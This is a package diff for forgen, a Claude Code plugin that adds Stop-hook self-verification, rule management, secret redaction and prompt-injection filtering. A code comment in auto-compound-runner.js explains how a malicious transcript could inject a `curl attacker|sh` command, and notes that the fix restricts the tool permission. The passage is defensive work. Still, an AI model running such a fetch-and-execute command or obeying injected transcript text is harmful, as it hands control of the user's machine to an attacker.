@wooojin/forgen 0.3.1 → 0.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude-plugin/plugin.json +7 -2
- package/CHANGELOG.md +164 -0
- package/README.ja.md +90 -7
- package/README.ko.md +44 -1
- package/README.md +128 -9
- package/README.zh.md +90 -7
- package/dist/cli.js +140 -8
- package/dist/core/auto-compound-runner.js +16 -5
- package/dist/core/dashboard.js +11 -4
- package/dist/core/doctor.d.ts +6 -1
- package/dist/core/doctor.js +85 -11
- package/dist/core/global-config.d.ts +2 -2
- package/dist/core/global-config.js +6 -14
- package/dist/core/harness.d.ts +3 -5
- package/dist/core/harness.js +34 -338
- package/dist/core/inspect-cli.js +65 -5
- package/dist/core/installer.d.ts +10 -0
- package/dist/core/installer.js +185 -0
- package/dist/core/paths.d.ts +0 -34
- package/dist/core/paths.js +0 -35
- package/dist/core/settings-injector.d.ts +13 -0
- package/dist/core/settings-injector.js +167 -0
- package/dist/core/settings-lock.d.ts +35 -2
- package/dist/core/settings-lock.js +65 -7
- package/dist/core/spawn.js +100 -39
- package/dist/core/state-gc.d.ts +49 -0
- package/dist/core/state-gc.js +163 -0
- package/dist/core/stats-cli.d.ts +15 -0
- package/dist/core/stats-cli.js +143 -0
- package/dist/core/uninstall.d.ts +1 -0
- package/dist/core/uninstall.js +36 -5
- package/dist/core/v1-bootstrap.js +11 -3
- package/dist/engine/classify-enforce-cli.d.ts +8 -0
- package/dist/engine/classify-enforce-cli.js +61 -0
- package/dist/engine/compound-cli.d.ts +27 -2
- package/dist/engine/compound-cli.js +69 -16
- package/dist/engine/compound-export.d.ts +15 -0
- package/dist/engine/compound-export.js +32 -5
- package/dist/engine/compound-loop.js +3 -2
- package/dist/engine/enforce-classifier.d.ts +31 -0
- package/dist/engine/enforce-classifier.js +123 -0
- package/dist/engine/learn-cli.js +52 -0
- package/dist/engine/lifecycle/bypass-detector.d.ts +34 -0
- package/dist/engine/lifecycle/bypass-detector.js +82 -0
- package/dist/engine/lifecycle/lifecycle-cli.d.ts +7 -0
- package/dist/engine/lifecycle/lifecycle-cli.js +102 -0
- package/dist/engine/lifecycle/meta-cli.d.ts +4 -0
- package/dist/engine/lifecycle/meta-cli.js +7 -0
- package/dist/engine/lifecycle/meta-reclassifier.d.ts +78 -0
- package/dist/engine/lifecycle/meta-reclassifier.js +351 -0
- package/dist/engine/lifecycle/orchestrator.d.ts +32 -0
- package/dist/engine/lifecycle/orchestrator.js +131 -0
- package/dist/engine/lifecycle/signals.d.ts +30 -0
- package/dist/engine/lifecycle/signals.js +142 -0
- package/dist/engine/lifecycle/trigger-t1-correction.d.ts +23 -0
- package/dist/engine/lifecycle/trigger-t1-correction.js +78 -0
- package/dist/engine/lifecycle/trigger-t2-violation.d.ts +18 -0
- package/dist/engine/lifecycle/trigger-t2-violation.js +42 -0
- package/dist/engine/lifecycle/trigger-t3-bypass.d.ts +17 -0
- package/dist/engine/lifecycle/trigger-t3-bypass.js +39 -0
- package/dist/engine/lifecycle/trigger-t4-decay.d.ts +18 -0
- package/dist/engine/lifecycle/trigger-t4-decay.js +40 -0
- package/dist/engine/lifecycle/trigger-t5-conflict.d.ts +16 -0
- package/dist/engine/lifecycle/trigger-t5-conflict.js +78 -0
- package/dist/engine/lifecycle/types.d.ts +52 -0
- package/dist/engine/lifecycle/types.js +7 -0
- package/dist/engine/match-eval-log.js +45 -0
- package/dist/engine/rule-toggle-cli.d.ts +13 -0
- package/dist/engine/rule-toggle-cli.js +76 -0
- package/dist/engine/solution-format.d.ts +0 -2
- package/dist/engine/solution-format.js +0 -4
- package/dist/engine/solution-matcher.d.ts +8 -0
- package/dist/engine/solution-matcher.js +7 -4
- package/dist/engine/solution-outcomes.d.ts +4 -0
- package/dist/engine/solution-outcomes.js +174 -97
- package/dist/engine/solution-writer.d.ts +8 -5
- package/dist/engine/solution-writer.js +43 -19
- package/dist/fgx.js +9 -2
- package/dist/forge/cli.js +7 -7
- package/dist/forge/evidence-processor.js +10 -2
- package/dist/hooks/context-guard.js +86 -1
- package/dist/hooks/hook-config.d.ts +9 -1
- package/dist/hooks/hook-config.js +25 -3
- package/dist/hooks/internal/run-lifecycle-check.d.ts +2 -0
- package/dist/hooks/internal/run-lifecycle-check.js +32 -0
- package/dist/hooks/notepad-injector.js +6 -3
- package/dist/hooks/permission-handler.d.ts +10 -2
- package/dist/hooks/permission-handler.js +31 -12
- package/dist/hooks/post-tool-use.js +62 -0
- package/dist/hooks/pre-tool-use.js +67 -5
- package/dist/hooks/secret-filter.d.ts +10 -0
- package/dist/hooks/secret-filter.js +26 -0
- package/dist/hooks/session-recovery.js +15 -7
- package/dist/hooks/shared/atomic-write.d.ts +8 -1
- package/dist/hooks/shared/atomic-write.js +17 -3
- package/dist/hooks/shared/hook-response.d.ts +11 -2
- package/dist/hooks/shared/hook-response.js +20 -7
- package/dist/hooks/shared/hook-timing.js +10 -1
- package/dist/hooks/shared/safe-regex.d.ts +25 -0
- package/dist/hooks/shared/safe-regex.js +50 -0
- package/dist/hooks/shared/stop-triggers.d.ts +19 -0
- package/dist/hooks/shared/stop-triggers.js +19 -0
- package/dist/hooks/solution-injector.d.ts +21 -0
- package/dist/hooks/solution-injector.js +60 -1
- package/dist/hooks/stop-guard.d.ts +84 -0
- package/dist/hooks/stop-guard.js +482 -0
- package/dist/mcp/solution-reader.d.ts +2 -0
- package/dist/mcp/solution-reader.js +28 -1
- package/dist/mcp/tools.js +24 -4
- package/dist/preset/preset-manager.js +12 -2
- package/dist/store/evidence-store.d.ts +15 -0
- package/dist/store/evidence-store.js +55 -6
- package/dist/store/profile-store.d.ts +9 -0
- package/dist/store/profile-store.js +25 -4
- package/dist/store/rule-lifecycle.d.ts +23 -0
- package/dist/store/rule-lifecycle.js +63 -0
- package/dist/store/rule-store.d.ts +21 -0
- package/dist/store/rule-store.js +133 -13
- package/dist/store/types.d.ts +83 -0
- package/dist/store/types.js +7 -1
- package/hooks/hook-registry.json +1 -0
- package/hooks/hooks.json +6 -1
- package/package.json +10 -2
- package/plugin.json +7 -2
- package/scripts/postinstall.js +52 -5
package/README.zh.md
CHANGED
|
@@ -3,18 +3,18 @@
|
|
|
3
3
|
</p>
|
|
4
4
|
|
|
5
5
|
<p align="center">
|
|
6
|
-
<strong
|
|
7
|
-
<strong
|
|
6
|
+
<strong>当 Claude 说"完成了", forgen 让它拿出证据。</strong><br/>
|
|
7
|
+
按轮次的自我验证 + 个性化规则, <strong>额外 API 成本 $0</strong>。
|
|
8
8
|
</p>
|
|
9
9
|
|
|
10
10
|
<p align="center">
|
|
11
|
-
<a href="https://www.npmjs.com/package
|
|
11
|
+
<a href="https://www.npmjs.com/package/@wooojin/forgen"><img src="https://img.shields.io/npm/v/@wooojin/forgen.svg" alt="npm version"/></a>
|
|
12
12
|
<a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-yellow.svg" alt="License: MIT"/></a>
|
|
13
13
|
<a href="https://nodejs.org"><img src="https://img.shields.io/badge/node-%3E%3D20-brightgreen.svg" alt="Node.js >= 20"/></a>
|
|
14
14
|
</p>
|
|
15
15
|
|
|
16
16
|
<p align="center">
|
|
17
|
-
<a href="
|
|
17
|
+
<a href="#第一次拦截-30秒">第一次拦截</a> ·
|
|
18
18
|
<a href="#快速开始">快速开始</a> ·
|
|
19
19
|
<a href="#工作原理">工作原理</a> ·
|
|
20
20
|
<a href="#4轴个性化">4轴</a> ·
|
|
@@ -32,8 +32,48 @@
|
|
|
32
32
|
|
|
33
33
|
---
|
|
34
34
|
|
|
35
|
+
## 第一次拦截 (30秒)
|
|
36
|
+
|
|
37
|
+
你被骗过很多次了: Claude 说"测试通过, 实现完成" — 真正运行 — 却不工作。forgen 填补这个缺口。
|
|
38
|
+
|
|
39
|
+
```
|
|
40
|
+
You: "实现登录 handler。"
|
|
41
|
+
Claude: ...编辑文件...
|
|
42
|
+
Claude: "구현 완료했습니다。"
|
|
43
|
+
|
|
44
|
+
[forgen:stop-guard/L1-e2e-before-done]
|
|
45
|
+
没有 Docker e2e 证据 (~/.forgen/state/e2e-result.json, 1小时内)。
|
|
46
|
+
立即执行后再回答。
|
|
47
|
+
|
|
48
|
+
Claude: "撤回完成声明。证据文件不存在。先执行 e2e..."
|
|
49
|
+
...bash tests/e2e/docker/run-test.sh 执行...
|
|
50
|
+
"63/63 通过。구현 완료했습니다。"
|
|
51
|
+
|
|
52
|
+
[forgen] ✓ approved
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
**刚刚发生了什么**: Claude 的 Stop hook 被你定义的规则 (`L1-e2e-before-done`) 拦截。Claude 读取了 block `reason`, 撤回过早的完成声明, 产生证据, 重新提交。**零额外 API 调用** — 全部发生在 Claude 本来就会产出的同一个 session turn 内。
|
|
56
|
+
|
|
57
|
+
这就是 **Mech-B 自检 prompt-inject**。它工作是因为 Claude Code 的 Stop hook 接受 `decision: "block"` + `reason`, 而 Claude 在下一轮把那个 reason 作为输入读取。我们用 10 个场景、$1.74 总成本端到端验证 ([A1 spike report](docs/spike/mech-b-a1-verification-report.md))。
|
|
58
|
+
|
|
59
|
+
🎬 **观看实际运行** (27秒):
|
|
60
|
+
|
|
61
|
+
```bash
|
|
62
|
+
# 现场观看完整循环 — 真实的 hook、真实的规则、真实的 block/approve 周期
|
|
63
|
+
bash docs/demo/mech-b-demo.sh
|
|
64
|
+
|
|
65
|
+
# 或重放预录制的 asciinema cast
|
|
66
|
+
asciinema play docs/demo/mech-b-block-unblock.cast
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
关于 demo 中"真实 vs 模拟"的详情见 [`docs/demo/README.md`](docs/demo/README.md)。
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
35
73
|
## 两个开发者。同一个 Claude。完全不同的行为。
|
|
36
74
|
|
|
75
|
+
上述 Trust Layer 是一根支柱。另一根是个性化 — 第一次拦截之后继续使用 forgen 的理由。
|
|
76
|
+
|
|
37
77
|
开发者 A 做事谨慎。他希望 Claude 运行所有测试、解释原因,在触碰当前文件以外的内容前先征求确认。
|
|
38
78
|
|
|
39
79
|
开发者 B 追求速度。他希望 Claude 自行假设、直接修复相关文件、用两行汇报结果。
|
|
@@ -57,7 +97,7 @@ forgen 实现了这一切。它对你的工作风格进行画像、从你的纠
|
|
|
57
97
|
### 首次运行(仅一次,约1分钟)
|
|
58
98
|
|
|
59
99
|
```bash
|
|
60
|
-
npm install -g /forgen
|
|
100
|
+
npm install -g @wooojin/forgen
|
|
61
101
|
forgen
|
|
62
102
|
```
|
|
63
103
|
|
|
@@ -117,7 +157,7 @@ Claude 调用 `correction-record` MCP 工具。纠正作为结构化证据存储
|
|
|
117
157
|
|
|
118
158
|
```bash
|
|
119
159
|
# 1. 安装
|
|
120
|
-
npm install -g /forgen
|
|
160
|
+
npm install -g @wooojin/forgen
|
|
121
161
|
|
|
122
162
|
# 2. 首次运行 — 4题引导问卷(英语/韩语选择)
|
|
123
163
|
forgen
|
|
@@ -131,6 +171,35 @@ forgen
|
|
|
131
171
|
- **Node.js** >= 20(SQLite 会话搜索推荐 >= 22)
|
|
132
172
|
- **Claude Code** 已安装并认证(`npm i -g @anthropic-ai/claude-code`)
|
|
133
173
|
|
|
174
|
+
> **厂商依赖:** forgen 封装了 Claude Code。Anthropic API 或 Claude Code 的变更可能影响其行为。已在 Claude Code 1.0.x 版本下测试。
|
|
175
|
+
|
|
176
|
+
---
|
|
177
|
+
|
|
178
|
+
## 为什么选择 forgen
|
|
179
|
+
|
|
180
|
+
| | Generic Claude Code | oh-my-claudecode | forgen |
|
|
181
|
+
|------------------------|:-------------------:|:----------------:|:---------------:|
|
|
182
|
+
| 对所有人相同 | Yes | Yes | **No** |
|
|
183
|
+
| 从纠正中学习 | No | No | **Yes** |
|
|
184
|
+
| 基于证据的生命周期 | No | No | **Yes** |
|
|
185
|
+
| 自动淘汰不良模式 | No | No | **Yes** |
|
|
186
|
+
| 个性化规则 | No | No | **Yes** |
|
|
187
|
+
| 运行时依赖 | - | many | **3** |
|
|
188
|
+
|
|
189
|
+
### 适用场景
|
|
190
|
+
|
|
191
|
+
**适合使用:**
|
|
192
|
+
- Claude 可以在数周内学习你的模式的长期项目
|
|
193
|
+
- 对 AI 行为方式有强烈偏好的开发者
|
|
194
|
+
- 有重复模式、能从 Compound 知识中获益的代码库
|
|
195
|
+
|
|
196
|
+
**不适合使用:**
|
|
197
|
+
- 一次性脚本或临时原型
|
|
198
|
+
- 没有 Claude Code 的环境
|
|
199
|
+
- 需要所有成员 AI 行为完全一致的团队(forgen 是个人化的,不面向团队)
|
|
200
|
+
|
|
201
|
+
**forgen + oh-my-claudecode:** 可以一起使用。OMC 负责编排(智能体、工作流); forgen 负责个性化(档案、学习)。详情请参阅 [共存指南](docs/guides/with-omc.md)。
|
|
202
|
+
|
|
134
203
|
---
|
|
135
204
|
|
|
136
205
|
## 工作原理
|
|
@@ -374,13 +443,27 @@ forgen forge --export # 导出档案
|
|
|
374
443
|
### 状态查看
|
|
375
444
|
|
|
376
445
|
```bash
|
|
446
|
+
forgen stats # 单屏 Trust Layer 仪表盘 (规则·纠正·block 7天)
|
|
447
|
+
forgen last-block # 最近一次拦截事件详情
|
|
377
448
|
forgen inspect profile # 4轴档案 + pack + facet
|
|
378
449
|
forgen inspect rules # 活跃/抑制的规则
|
|
379
|
-
forgen inspect
|
|
450
|
+
forgen inspect corrections # 纠正历史 (alias: evidence)
|
|
380
451
|
forgen inspect session # 当前会话状态
|
|
452
|
+
forgen inspect violations # 最近的拦截记录 (--last N)
|
|
381
453
|
forgen me # 个人仪表盘(inspect profile 的快捷方式)
|
|
382
454
|
```
|
|
383
455
|
|
|
456
|
+
### 规则管理
|
|
457
|
+
|
|
458
|
+
```bash
|
|
459
|
+
forgen rule list # 列出活跃 + suppressed 规则
|
|
460
|
+
forgen rule suppress <id> # 禁用规则 (hard 规则拒绝)
|
|
461
|
+
forgen rule activate <id> # 重新激活 suppressed 规则
|
|
462
|
+
forgen rule scan [--apply] # 运行生命周期触发器 (晋升/降级/退役)
|
|
463
|
+
forgen rule health-scan # 扫描 drift → Mech 降级候选
|
|
464
|
+
forgen rule classify # 为旧规则自动提议 enforce_via
|
|
465
|
+
```
|
|
466
|
+
|
|
384
467
|
### 知识管理
|
|
385
468
|
|
|
386
469
|
```bash
|
package/dist/cli.js
CHANGED
|
@@ -159,23 +159,151 @@ const commands = [
|
|
|
159
159
|
},
|
|
160
160
|
{
|
|
161
161
|
name: 'doctor',
|
|
162
|
-
description: 'Diagnostics',
|
|
163
|
-
handler: async (
|
|
162
|
+
description: 'Diagnostics (--prune-state to GC stale session files)',
|
|
163
|
+
handler: async (args) => {
|
|
164
164
|
const { runDoctor } = await import('./core/doctor.js');
|
|
165
|
-
await runDoctor();
|
|
165
|
+
await runDoctor({ pruneState: args.includes('--prune-state') });
|
|
166
166
|
},
|
|
167
167
|
},
|
|
168
168
|
// install --plugin 제거됨 — postinstall이 유일한 설치 경로
|
|
169
169
|
// 수동 재설치: node scripts/postinstall.js
|
|
170
170
|
{
|
|
171
171
|
name: 'uninstall',
|
|
172
|
-
description: 'Remove forgen from settings [--force]',
|
|
172
|
+
description: 'Remove forgen from settings [--force] [--purge (also deletes ~/.forgen/)]',
|
|
173
173
|
handler: async (args) => {
|
|
174
174
|
const { handleUninstall } = await import('./core/uninstall.js');
|
|
175
|
-
await handleUninstall(process.cwd(), {
|
|
175
|
+
await handleUninstall(process.cwd(), {
|
|
176
|
+
force: args.includes('--force'),
|
|
177
|
+
purge: args.includes('--purge'),
|
|
178
|
+
});
|
|
179
|
+
},
|
|
180
|
+
},
|
|
181
|
+
{
|
|
182
|
+
name: 'rule',
|
|
183
|
+
description: 'Rule management (list|suppress|activate|scan|health-scan|classify)',
|
|
184
|
+
handler: async (args) => {
|
|
185
|
+
await handleRuleNamespace(args);
|
|
186
|
+
},
|
|
187
|
+
},
|
|
188
|
+
{
|
|
189
|
+
name: 'classify-enforce',
|
|
190
|
+
aliases: ['rule-classify'],
|
|
191
|
+
description: '[alias: rule classify] Propose enforce_via for rules (ADR-001 migration).',
|
|
192
|
+
handler: async (args) => {
|
|
193
|
+
const { handleClassifyEnforce } = await import('./engine/classify-enforce-cli.js');
|
|
194
|
+
await handleClassifyEnforce(args);
|
|
195
|
+
},
|
|
196
|
+
},
|
|
197
|
+
{
|
|
198
|
+
name: 'rule-meta-scan',
|
|
199
|
+
description: '[alias: rule health-scan] Scan drift for stuck-loop events and demote Mech-A rules.',
|
|
200
|
+
handler: async (args) => {
|
|
201
|
+
const { handleRuleMetaScan } = await import('./engine/lifecycle/meta-cli.js');
|
|
202
|
+
await handleRuleMetaScan(args);
|
|
203
|
+
},
|
|
204
|
+
},
|
|
205
|
+
{
|
|
206
|
+
name: 'lifecycle-scan',
|
|
207
|
+
description: '[alias: rule scan] Run all rule lifecycle triggers (T1~T5 + Meta).',
|
|
208
|
+
handler: async (args) => {
|
|
209
|
+
const { handleLifecycleScan } = await import('./engine/lifecycle/lifecycle-cli.js');
|
|
210
|
+
await handleLifecycleScan(args);
|
|
211
|
+
},
|
|
212
|
+
},
|
|
213
|
+
{
|
|
214
|
+
name: 'stats',
|
|
215
|
+
description: 'One-screen dashboard: active rules, corrections, blocks/bypass/drift (7d).',
|
|
216
|
+
handler: async (args) => {
|
|
217
|
+
const { handleStats } = await import('./core/stats-cli.js');
|
|
218
|
+
await handleStats(args);
|
|
219
|
+
},
|
|
220
|
+
},
|
|
221
|
+
{
|
|
222
|
+
name: 'last-block',
|
|
223
|
+
description: 'Show the most recent Mech-A/B block event with rule detail (R6-UX2).',
|
|
224
|
+
handler: async (_args) => {
|
|
225
|
+
const { handleInspect } = await import('./core/inspect-cli.js');
|
|
226
|
+
await handleInspect(['violations', '--last', '1']);
|
|
227
|
+
},
|
|
228
|
+
},
|
|
229
|
+
{
|
|
230
|
+
name: 'suppress-rule',
|
|
231
|
+
description: '[alias: rule suppress] Disable a rule by id/prefix. Hard rules refused.',
|
|
232
|
+
handler: async (args) => {
|
|
233
|
+
const { handleSuppressRule } = await import('./engine/rule-toggle-cli.js');
|
|
234
|
+
await handleSuppressRule(args);
|
|
235
|
+
},
|
|
236
|
+
},
|
|
237
|
+
{
|
|
238
|
+
name: 'activate-rule',
|
|
239
|
+
description: '[alias: rule activate] Re-activate a suppressed rule by id/prefix.',
|
|
240
|
+
handler: async (args) => {
|
|
241
|
+
const { handleActivateRule } = await import('./engine/rule-toggle-cli.js');
|
|
242
|
+
await handleActivateRule(args);
|
|
176
243
|
},
|
|
177
244
|
},
|
|
178
245
|
];
|
|
246
|
+
// ---------------------------------------------------------------------------
|
|
247
|
+
// `forgen rule <subcommand>` — user-facing namespace (R9-IA1)
|
|
248
|
+
// Thin dispatcher that routes to existing handlers. Top-level legacy commands
|
|
249
|
+
// (suppress-rule, activate-rule, lifecycle-scan, rule-meta-scan, classify-enforce)
|
|
250
|
+
// remain as backward-compatible aliases.
|
|
251
|
+
// ---------------------------------------------------------------------------
|
|
252
|
+
async function handleRuleNamespace(args) {
|
|
253
|
+
const sub = args[0];
|
|
254
|
+
const rest = args.slice(1);
|
|
255
|
+
if (!sub || sub === 'help' || sub === '--help' || sub === '-h') {
|
|
256
|
+
console.log(`
|
|
257
|
+
forgen rule — manage personalization rules
|
|
258
|
+
|
|
259
|
+
Usage:
|
|
260
|
+
forgen rule list List all rules (alias: inspect rules)
|
|
261
|
+
forgen rule suppress <id-or-prefix> Disable a rule (hard rules refused)
|
|
262
|
+
forgen rule activate <id-or-prefix> Re-activate a suppressed rule
|
|
263
|
+
forgen rule scan [--apply] Run lifecycle triggers (promote/demote/retire)
|
|
264
|
+
forgen rule health-scan [--apply] Scan drift → Mech downgrade candidates
|
|
265
|
+
forgen rule classify [--apply] [--force]
|
|
266
|
+
Propose enforce_via for legacy rules
|
|
267
|
+
`);
|
|
268
|
+
return;
|
|
269
|
+
}
|
|
270
|
+
switch (sub) {
|
|
271
|
+
case 'list': {
|
|
272
|
+
const { handleInspect } = await import('./core/inspect-cli.js');
|
|
273
|
+
await handleInspect(['rules', ...rest]);
|
|
274
|
+
return;
|
|
275
|
+
}
|
|
276
|
+
case 'suppress': {
|
|
277
|
+
const { handleSuppressRule } = await import('./engine/rule-toggle-cli.js');
|
|
278
|
+
await handleSuppressRule(rest);
|
|
279
|
+
return;
|
|
280
|
+
}
|
|
281
|
+
case 'activate': {
|
|
282
|
+
const { handleActivateRule } = await import('./engine/rule-toggle-cli.js');
|
|
283
|
+
await handleActivateRule(rest);
|
|
284
|
+
return;
|
|
285
|
+
}
|
|
286
|
+
case 'scan': {
|
|
287
|
+
const { handleLifecycleScan } = await import('./engine/lifecycle/lifecycle-cli.js');
|
|
288
|
+
await handleLifecycleScan(rest);
|
|
289
|
+
return;
|
|
290
|
+
}
|
|
291
|
+
case 'health-scan': {
|
|
292
|
+
const { handleRuleMetaScan } = await import('./engine/lifecycle/meta-cli.js');
|
|
293
|
+
await handleRuleMetaScan(rest);
|
|
294
|
+
return;
|
|
295
|
+
}
|
|
296
|
+
case 'classify': {
|
|
297
|
+
const { handleClassifyEnforce } = await import('./engine/classify-enforce-cli.js');
|
|
298
|
+
await handleClassifyEnforce(rest);
|
|
299
|
+
return;
|
|
300
|
+
}
|
|
301
|
+
default: {
|
|
302
|
+
console.error(`[forgen] Unknown rule subcommand: ${sub}\n Run "forgen rule help" for options.`);
|
|
303
|
+
process.exit(1);
|
|
304
|
+
}
|
|
305
|
+
}
|
|
306
|
+
}
|
|
179
307
|
/** 최소 편집 거리 (유사 명령 제안용) */
|
|
180
308
|
function levenshtein(a, b) {
|
|
181
309
|
const m = a.length, n = b.length;
|
|
@@ -298,8 +426,12 @@ function printHelp() {
|
|
|
298
426
|
Commands:
|
|
299
427
|
forgen forge Personalize your coding profile
|
|
300
428
|
forgen onboarding Run 2-question onboarding
|
|
301
|
-
forgen inspect [profile|rules|
|
|
302
|
-
Inspect v1 state
|
|
429
|
+
forgen inspect [profile|rules|corrections|session]
|
|
430
|
+
Inspect v1 state (alias: evidence → corrections)
|
|
431
|
+
forgen rule <list|suppress|activate|scan|health-scan|classify>
|
|
432
|
+
Rule management (see: forgen rule help)
|
|
433
|
+
forgen stats One-screen trust-layer dashboard
|
|
434
|
+
forgen last-block Show the most recent block event
|
|
303
435
|
forgen compound Manage accumulated knowledge
|
|
304
436
|
forgen dashboard Compound system dashboard
|
|
305
437
|
forgen me Personal dashboard
|
|
@@ -308,7 +440,7 @@ function printHelp() {
|
|
|
308
440
|
forgen mcp MCP server management
|
|
309
441
|
forgen skill promote|list Skill management
|
|
310
442
|
forgen notepad show|add|clear Session notepad
|
|
311
|
-
forgen doctor
|
|
443
|
+
forgen doctor [--prune-state] System diagnostics (+ daily T4 decay on prune)
|
|
312
444
|
forgen uninstall Remove forgen
|
|
313
445
|
|
|
314
446
|
Harness mode (default):
|
|
@@ -14,6 +14,7 @@ import * as path from 'node:path';
|
|
|
14
14
|
import * as os from 'node:os';
|
|
15
15
|
import { execFileSync } from 'node:child_process';
|
|
16
16
|
import { containsPromptInjection, filterSolutionContent } from '../hooks/prompt-injection-filter.js';
|
|
17
|
+
import { redactSecrets } from '../hooks/secret-filter.js';
|
|
17
18
|
import { createEvidence, saveEvidence, promoteSessionCandidates } from '../store/evidence-store.js';
|
|
18
19
|
import { loadProfile } from '../store/profile-store.js';
|
|
19
20
|
/** Auto-compound에 사용할 모델 — background 추출이므로 haiku로 충분 */
|
|
@@ -212,9 +213,16 @@ function mergeOrCreateBehavior(dir, newContent, kind, today) {
|
|
|
212
213
|
return false;
|
|
213
214
|
}
|
|
214
215
|
try {
|
|
215
|
-
const
|
|
216
|
-
if (
|
|
216
|
+
const rawSummary = extractSummary(transcriptPath);
|
|
217
|
+
if (rawSummary.length < 200)
|
|
217
218
|
process.exit(0);
|
|
219
|
+
// R5-G2 (P0 security): transcript 를 Claude 로 송신하기 전 API key / 토큰 / 비밀번호 /
|
|
220
|
+
// private key blocks 를 [REDACTED:...] 로 치환. 사용자가 채팅에 pasted 한 자격증명이
|
|
221
|
+
// auto-compound 를 통해 외부 API 로 누출되는 채널 차단.
|
|
222
|
+
const { redacted: summary, hits: secretHits } = redactSecrets(rawSummary);
|
|
223
|
+
if (secretHits.length > 0) {
|
|
224
|
+
process.stderr.write(`[forgen-auto-compound] redacted ${secretHits.length} secret(s) before send: ${secretHits.map((s) => s.name).join(', ')}\n`);
|
|
225
|
+
}
|
|
218
226
|
// 보안: 프롬프트 인젝션이 포함된 transcript는 분석하지 않음
|
|
219
227
|
if (containsPromptInjection(summary)) {
|
|
220
228
|
process.exit(0);
|
|
@@ -279,10 +287,13 @@ try {
|
|
|
279
287
|
---
|
|
280
288
|
${sanitizedSummary.slice(0, 6000)}
|
|
281
289
|
---`;
|
|
290
|
+
// P1-S1 fix (2026-04-20): 과거에는 `--allowedTools Bash`로 전체 Bash 권한을 줘서
|
|
291
|
+
// 악성 transcript(공급망 인젝션)가 filter를 우회해 `curl attacker|sh` 같은 명령을
|
|
292
|
+
// 피해자 권한으로 실행시킬 수 있었다. 이제 `Bash(forgen compound:*)`로 좁혀 Claude
|
|
293
|
+
// 가 compound 추출용 forgen CLI 호출만 가능하게 한다. filter-bypass 시에도 임의
|
|
294
|
+
// 명령 실행 차단.
|
|
282
295
|
try {
|
|
283
|
-
execClaudeRetry(['-p', solutionPrompt, '--allowedTools', 'Bash', '--model', COMPOUND_MODEL], {
|
|
284
|
-
cwd, timeout: 90_000, stdio: ['pipe', 'ignore', 'pipe'],
|
|
285
|
-
});
|
|
296
|
+
execClaudeRetry(['-p', solutionPrompt, '--allowedTools', 'Bash(forgen compound:*)', '--model', COMPOUND_MODEL], { cwd, timeout: 90_000, stdio: ['pipe', 'ignore', 'pipe'] });
|
|
286
297
|
}
|
|
287
298
|
catch (e) {
|
|
288
299
|
process.stderr.write(`[forgen-auto-compound] solution extraction: ${e instanceof Error ? e.message : String(e)}\n`);
|
package/dist/core/dashboard.js
CHANGED
|
@@ -13,7 +13,14 @@
|
|
|
13
13
|
*/
|
|
14
14
|
import * as fs from 'node:fs';
|
|
15
15
|
import * as path from 'node:path';
|
|
16
|
-
import {
|
|
16
|
+
import { createRequire } from 'node:module';
|
|
17
|
+
// P0-1 fix (2026-04-20): ESM `"type": "module"` 프로젝트에서 `require`가 글로벌에
|
|
18
|
+
// 없어 이전에는 renderFitnessSummary 안의 `require('../engine/solution-fitness.js')`가
|
|
19
|
+
// 항상 ReferenceError로 catch 경로에 떨어져 Solution Fitness 대시보드 섹션이
|
|
20
|
+
// 조용히 무효화됐다 (정상처럼 "아직 outcome 이벤트 데이터 없음" 출력).
|
|
21
|
+
// createRequire로 CJS require를 ESM 환경에 부트스트랩 — session-store.ts 패턴 동일.
|
|
22
|
+
const require = createRequire(import.meta.url);
|
|
23
|
+
import { ME_SOLUTIONS, ME_RULES, ME_BEHAVIOR, STATE_DIR, } from './paths.js';
|
|
17
24
|
import { parseFrontmatterOnly } from '../engine/solution-format.js';
|
|
18
25
|
import { readMatchEvalLog } from '../engine/match-eval-log.js';
|
|
19
26
|
// ── ANSI color helpers ──
|
|
@@ -361,11 +368,11 @@ export function collectLearningCurve() {
|
|
|
361
368
|
const axisCounts = new Map();
|
|
362
369
|
const uniqueDays = new Set();
|
|
363
370
|
try {
|
|
364
|
-
if (fs.existsSync(
|
|
365
|
-
const files = fs.readdirSync(
|
|
371
|
+
if (fs.existsSync(ME_BEHAVIOR)) {
|
|
372
|
+
const files = fs.readdirSync(ME_BEHAVIOR).filter(f => f.endsWith('.json'));
|
|
366
373
|
for (const f of files) {
|
|
367
374
|
try {
|
|
368
|
-
const data = JSON.parse(fs.readFileSync(path.join(
|
|
375
|
+
const data = JSON.parse(fs.readFileSync(path.join(ME_BEHAVIOR, f), 'utf-8'));
|
|
369
376
|
if (!data.timestamp)
|
|
370
377
|
continue;
|
|
371
378
|
const ts = new Date(data.timestamp).getTime();
|
package/dist/core/doctor.d.ts
CHANGED
|
@@ -1 +1,6 @@
|
|
|
1
|
-
export
|
|
1
|
+
export interface DoctorOptions {
|
|
2
|
+
/** When true, delete stale session-scoped state files instead of just
|
|
3
|
+
* reporting bloat. Triggered by `forgen doctor --prune-state`. */
|
|
4
|
+
pruneState?: boolean;
|
|
5
|
+
}
|
|
6
|
+
export declare function runDoctor(opts?: DoctorOptions): Promise<void>;
|
package/dist/core/doctor.js
CHANGED
|
@@ -2,14 +2,24 @@ import * as fs from 'node:fs';
|
|
|
2
2
|
import * as os from 'node:os';
|
|
3
3
|
import * as path from 'node:path';
|
|
4
4
|
import { execFileSync } from 'node:child_process';
|
|
5
|
-
import { FORGEN_HOME, LAB_DIR, ME_BEHAVIOR, ME_DIR,
|
|
5
|
+
import { FORGEN_HOME, LAB_DIR, ME_BEHAVIOR, ME_DIR, ME_SOLUTIONS, ME_RULES, ME_SKILLS, PACKS_DIR, SESSIONS_DIR, STATE_DIR } from './paths.js';
|
|
6
6
|
import { getTimingStats } from '../hooks/shared/hook-timing.js';
|
|
7
|
+
import { countSessionScopedFiles, pruneState } from './state-gc.js';
|
|
7
8
|
/** ~/.claude/projects/ — Claude Code 세션 저장 경로 */
|
|
8
9
|
const CLAUDE_PROJECTS_DIR = path.join(os.homedir(), '.claude', 'projects');
|
|
10
|
+
let currentSection = '';
|
|
11
|
+
let failedChecks = [];
|
|
12
|
+
function section(name) {
|
|
13
|
+
currentSection = name;
|
|
14
|
+
console.log(` [${name}]`);
|
|
15
|
+
}
|
|
9
16
|
function check(label, condition, hint) {
|
|
10
17
|
